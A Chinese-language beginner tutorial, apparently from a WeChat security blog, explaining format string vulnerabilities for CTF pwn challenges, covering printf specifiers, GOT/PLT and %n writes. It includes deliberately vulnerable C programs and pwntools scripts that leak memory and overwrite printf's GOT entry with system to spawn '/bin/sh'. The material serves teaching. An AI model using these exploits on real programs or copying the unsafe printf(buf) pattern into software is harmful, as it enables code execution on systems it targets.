格式化字符串漏洞是CTF的PWN题目中经常拿来出题的漏洞,本文将从小白的角度介绍一些较入门的知识。
危险函数
理工专业的同学都学过C语言,C语言中的printf函数是字符串打印最常用的函数,其定义如下,相信大家也不陌生。
int
printf
(const char *format, [argument]);
printf中可以使用各种格式化字符,下表中列出了部分,其中%n在日常编码中并不常见,但是%n是利用格式化漏洞的关键,%n可以将前面字符串总长度值统计出来然后写入指定地址中。当然使用格式化字符串的函数还有很多,例如fprintf、sprintf、snprintf、vsprinf、vfprintf等。
字符 | 用途 | 传递 |
---|---|---|
%d | 十进制整数(int) | 值 |
%x | 十六进制数(unsigned int) | 值 |
%s | 字符串(char *) | 引用指针 |
%c | 字符(char) | 值 |
%p | 指针地址(&a) | 值 |
%n | %n前面字符串的长度(* int) | 引用指针 |
小实验
我们用下面一段测试代码来说明
#include <stdio.h>
void
main
()
{
int total = 0;
int age = 18;
char *str =
"Age is"
;
printf
(
"%s %d %n %s %sn"
, str, age, &total);
printf
(
"total length %dn"
, total);
}
这段代码中printf的前三位“%s %d %n”和“str, age, &total”都是一一对应的,但是后面我多添加了2个%s,后面没有参数可以对应输出。我们编译完成后执行这段代码,输出了如下图的内容,total是10,也就是“Age is 18 ”是长度是10都没有问题,但是红框圈出来的是一串乱码,这是由于我在代码多加的%s。因为printf在后方没有参数对应时会自动向后读取栈中内存指向的数据,这也就是格式化字符漏洞的基本成因。
当程序员直接将用户输入的内容作为printf的format输出时,攻击者就可以直接控制format,如果精心构造了读取的内存地址那么会造成内存信息泄露,如果读取到了非法的内存地址则会造成程序崩溃(下图展示了在上述代码中添加了多个%s后程序运行后就崩溃了),或者攻击者覆盖了其他函数的入口则可能造成getshell。
任意地址读
我们首先来测试该漏洞的任意内存读取,在这之前我们需要知道C语言中的一个特性,如下图官方的说明,大概意思就是我们可以使用类似%id等方式来读取指定位置的内存指向的值。
我们使用下面的一段存在漏洞的代码来进行测试
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void
main
()
{
char buf[1024];
memset(buf, 0, sizeof(buf));
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts(
"input string:"
);
read
(0, buf, sizeof(buf));
printf
(buf);
printf
(
"n"
);
}
我们编译执行后输入字符串“aaaa,%x,%x,%x,%x,%x,%x,%x,%x”,得到如下的输出,上面在漏洞成因中我们已经介绍过如果不按照一一对应的进行输出,printf将读取后续内存的内容。红框内标识出来的“61616161”的4个字节,0x61正好是“a”的十六进制,所以这里其实是字符串开始的地方
我们用下面一张简单的示例图来说明,格式化字符串开始的位置是从第6个%x开始的
从上面我们说的"x, 我们使用这个来进行尝试,输入“aaaa,%6$x",如下图和我们预期的一样输了字符串头。
由此我们知道,如果要读取内存中的数据,只要把相应的数据地址写在对应位置上即可,下面我们来尝试读取该程序的文件头。
我们使用pwntools来进行读取,该工具是python写的专为CTF提供的库,其使用文档较多这里不详细讲,感兴趣的同学可以去从下面链接中学习 http://docs.pwntools.com/en/stable/
我们用下面的代码来实现读取
#-*-coding:utf-8 -*-
from pwn import *
context.log_level =
'debug'
pwn_name =
"./format"
r = process(pwn_name)
r.recvuntil(
"input string:"
)
payload =
'a'
*4 +
'%7$s'
+ p64(0x00400000)
r.sendline(payload)
r.recvuntil(
"aaaa"
)
r.recv()
我们发送payload中"%7x”。
此次使用的系统为Kali 64位系统,所以我们需要用p64位打包,且文件存储地址从0x00400000开始,下面看一下运行结果。
图中显示 %7$s对应的字符是含有 "ELF"字样的数据,这是ELF文件的标准头部,使用vim打开该程序来确认下
至此我们使用该漏洞实现了读取内存的利用。从上述过程我们基本可以了解到,该漏洞的关键是要找到偏移量,也就是要确定上文中“%6$x"。而且pwntools工具中已经帮我们封装好了可以自动获取该偏移量的接口,FmtStr,这里不再做介绍,想继续了解的同学,可以通过上面提到的pwntools链接进行学习。
任意地址写
前面我们提到%n可以向某个引用地址写值,我们将尝试使用这一特性,并且利用下面的漏洞代码来尝试Getshell,不过这之前还有一些前置知识需要掌握。
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void
excute
()
{
system(
"cat /etc/hostname"
);
}
void
main
()
{
char buf[1024];
memset(buf, 0, sizeof(buf));
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
excute();
while
(1)
{
puts(
"input string:"
);
read
(0, buf, sizeof(buf));
printf
(buf);
printf
(
"n"
);
}
}
GOT和PLT表
Linux程序运行时需要进行函数的动态链接,这里涉及到一个叫延迟绑定的技术,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。
GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。
我们用gdb调试上面的程序,简单的说明下GOT与PLT工作过程。
gcc format.c -o format -no-pie
gdb ./format
在main函数下断点,单步执行到call puts函数的地方,下图中调用puts处有 puts@plt的跳转,查看0x401040处的指令显示,其第一步是跳转到0x404020,而后跳转到0x401046
后续直到跳转到0x404010时,发现其跳转调用了 _dl_runtime_resolve_xsave 函数,该函数的用途就是对动态函数进行地址解析和重定位,最后把动态函数真实的地址写入到GOT表项中,然后执行函数并返回
我们回过头来再次打印一开始的0x404020,其指向的已经是puts函数的真实地址了
其解析过程如下图所示,在第二次再调用该函数时跳转到PLT -> GOT表,然后直接从GOT表中获取到函数真实地址,直接跳转到函数执行,不再解析。
利用%n
前面已经提到了关于%n可以将值写入指定位置,例如%6n,即是把值写入栈中第六个位置。这里写的是4个字节,不过根据官方的定义还有很多种长度写入方式。
与本次的格式化漏洞相关的部分就是下面示例的意思,下文中的代码中将会用到 %8$lln,翻译过来就是向栈中第8个参数的位置指针指向的地址写入8个字节
%{}
$n
// 解引用,写入四个字节
%{}
$hn
// 解引用,写入两个字节
%{}
$hhn
// 解引用,写入一个字节
%{}
$lln
// 解引用,写入八个字节
Getshell
有了上面的知识铺垫,我们利用pwntools的库来尝试getshell。
首先我们的思想是修改printf 函数的got表,把他修改为system的plt值,这样当程序再次执行到printf时,程序会向system函数进行解析,这是我们输入“/bin/sh”,即可getshell。
#-*-coding:utf-8 -*-
from pwn import *
context.log_level =
'debug'
pwn_name =
"./format"
r = process(pwn_name)
e = ELF(pwn_name)
#获取printf的got地址、system的plt地址
printf_got = e.got[
'printf'
]
system_plt= e.plt[
"system"
]
#计算system的plt地址字符长度
addr_len=len(str(system_plt))
#将前面的长度值写入栈中的第八个参数中引用的地址,这里就是把system_plt值大小的长度写入printf got指针指向的位置#这里用8-addr_len是为了保证p64(printf_got) 写入时是8个字节对齐的,而a就是为了补全8个字节数的
payload=
'a'
*(8-addr_len)+
'%'
+str(system_plt-(8-addr_len))+
'c'
+
"%8
$lln
"
+p64(printf_got)
r.send(payload)
r.recv()
#此时printf的got地址已经被payload修改,输入system的参数"/bin/sh" getshell
r.sendline(
"/bin/sh"
)
r.interactive()
我们运行上面的代码看结果,下图显示getshell成功,可以执行命令了。同时我们在第一步发送payload后,发现recv到大量刷屏的数据,这是因为前面的代码中的 '%'+str(system_plt-(8-addr_len))+'c' 是数量相当庞大的长度,当时我这样写不是最好的方法,最好的方法是逐个字节修改,而不是我这样暴力的直接将值确定下来,然后8个字节一起写入。
本文利用的格式化注入漏洞简化了很多复杂的过程,包括编译时禁用了很多保护选项,格式化注入漏洞还有更多精妙和复杂的利用方法,值得我们去探索。尽管该漏洞在实际应用中已经不多见,但是通过该漏洞,对于学习和理解计算机原理,内存分布、程序运行过程还是非常有帮助,因为对于该漏洞的理解还是需要很多前置知识点的,希望本文粗浅的实验了格式化漏洞的过程对大家有帮助,如有错误欢迎指正。
原文始发于微信公众号(Lambda小队):从入门到放弃:格式化字符串漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论